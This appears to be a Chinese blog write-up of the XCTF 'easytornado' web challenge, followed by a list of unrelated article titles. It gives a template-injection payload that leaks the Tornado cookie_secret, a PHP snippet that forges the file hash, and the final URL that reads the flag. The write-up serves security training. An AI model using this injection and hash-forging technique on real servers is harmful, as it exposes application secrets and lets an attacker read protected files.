当前位置:网站首页>xctf攻防世界 Web高手进阶区 easytornado
xctf攻防世界 Web高手进阶区 easytornado
2022-08-06 03:00:00 【l8947943】
0x01. 进入环境,查看问题

如图,给了三个文件,我们挨个点过去,如图:
- /flag.txt提示flag在/fllllllllllllag里面
- /welcome.txt提示有个render,也就是用于渲染的关键词
- /hints.txt提示md5(cookie_secret+md5(filename)),即需要对文件名进行一次md5,与cookie_secret拼接后,再进行一次md5
0x02. 开始做题
0x02_1. 观察payload
http://61.147.171.105:53202/file?filename=/hints.txt&filehash=aee3fcdc70f9d95450cc4e1b5316c98e
发现filename是需要访问的文件名,filehash则是访问该文件需要的hash映射码,推测将来要访问的flag的payload中,filename=/fllllllllllllag,filehash=md5(cookie_secret+md5(filename))
0x02_2. 了解cookie_secret
经过一番查找,得知需要对tornato框架有一定的了解。cookie_secret是用来加密的密钥,他一般在应用对象application初始化时存放在该对象的settings属性中。
它有一个别名,当前对象RequestHandler.setting,这样render函数就有作用了,我们只要调用到handler对象或者application对象就能得到cookie_secret。
把文件名随便改了而不改hash能得到error页面,也就是说,该页面存在SSTI。构造error?msg={ {handler.settings}}得到cookie_secret。如图:
0x02_3. 搞到filehash
简单写一串php代码即可,使用在线编辑运行,即可得到答案。
<?php
$cookie_secret='ecd9532c-f90f-4aac-8517-ea2a890c80f3';
$filename='/fllllllllllllag';
echo md5($cookie_secret.md5($filename));
?>
得到filehash值为24d592a983cefb8d510bfb218f07e9e3
0x02_4. 构造payload
构造的payload如下:
http://61.147.171.105:53202/file?filename=/fllllllllllllag&filehash=24d592a983cefb8d510bfb218f07e9e3
返回结果如图:

得到最终的答案:flag{3f39aea39db345769397ae895edb9c70}
边栏推荐
猜你喜欢
随机推荐
Wasabi Technologies领导团队新增日本和澳大利亚业务高管,以支持整个亚太区对热云存储的需求
Wejo加入MONET联盟,进一步推动国际移动出行创新
币圈新手指南,虚拟币交易平台哪个好
Android数据库框架之greenDAO
6 Usability Testing Methods That Improve Your Software
MySQL high-performance construction 1: Centos7+Mysql7.5 builds master-slave replication
C 学生管理系统 删除指定学生节点(特殊情况)
Transformer pytorch实现逐行详解
QT 中串口接收数据完整解决方案
【无标题】菜市场
用低代码如何搭建一套进销存管理系统(采购、销售、库存一体化管理)?
stacks and queues
加密熊市为企业并购提供机遇 野心勃勃or救世主?唯一真理便是利益至上
95年的测试员,什么也不会敢要12K~看着他的简历思绪万千...
CAD一键添加审图批注、AUTOCAD——图形界线怎么设置
【无标题】
ansible shell 模块
美国国立卫生研究院(NIH)江晓芳组诚聘生物信息学博士后
详解AUTOSAR:AUTOSRA软件架构(理论篇—2)
js_array object change attribute name









